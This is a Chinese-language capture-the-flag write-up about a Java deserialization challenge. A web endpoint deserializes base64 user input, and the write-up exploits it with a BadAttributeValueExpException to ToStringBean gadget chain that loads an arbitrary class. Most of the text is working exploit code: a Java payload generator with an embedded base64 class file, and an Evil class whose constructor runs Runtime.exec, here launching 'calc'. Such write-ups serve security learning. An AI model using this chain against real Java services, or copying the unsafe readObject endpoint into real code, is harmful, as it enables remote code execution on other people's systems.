@RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
        }
        return "welcome bro.";
    }

接受一个data参数 base64解码后直接反序列化

1.jpg

ToStringBean类是可以序列化的,里面有一个defineClass方法,可以加载任意类,并初始化了他,因此我们可以加载一个恶意类

剩下的就是找调用了toString方法的gadget

CC5里面有这样的gadget

BadAttributeValueExpException.readObject方法调用了val.toString,并且val是我们可控的

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

最终payload:

package com.ezgame.ctf;

import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class Exp  {
    public static void main(String[] args) throws Exception {
        byte[] code = Tools.base64Decode("yv66vgAAADQAHgoABwAQBwARCAASCgATABQKABMAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwACAAJAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHABkMABoAGwwAHAAdAQAVY29tL2V4YW1wbGUvZGVtby9FdmlsAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAQABAAgACQACAAoAAAA7AAQAAgAAABcqtwABBL0AAlkDEgNTTLgABCu2AAVXsQAAAAEACwAAABIABAAAAAYABAAHAA4ACAAWAAkADAAAAAQAAQANAAEADgAAAAIADw==");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        ToStringBean toStringBean = new ToStringBean();
        Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        classByte.set(toStringBean,code);
        val.set(badAttributeValueExpException,toStringBean);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream obj = new ObjectOutputStream(byteArrayOutputStream);
        obj.writeUTF("gadgets");
        obj.writeInt(2021);
        obj.writeObject(badAttributeValueExpException);
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(Tools.base64Encode(bytes));
    }

}

Evil.java

package com.ezgame.ctf;

import java.io.IOException;

public class Evil {
    public Evil() throws IOException {
        String[] command = {"calc"};
        Runtime.getRuntime().exec(command);
    }
}

2.jpg

Q.E.D.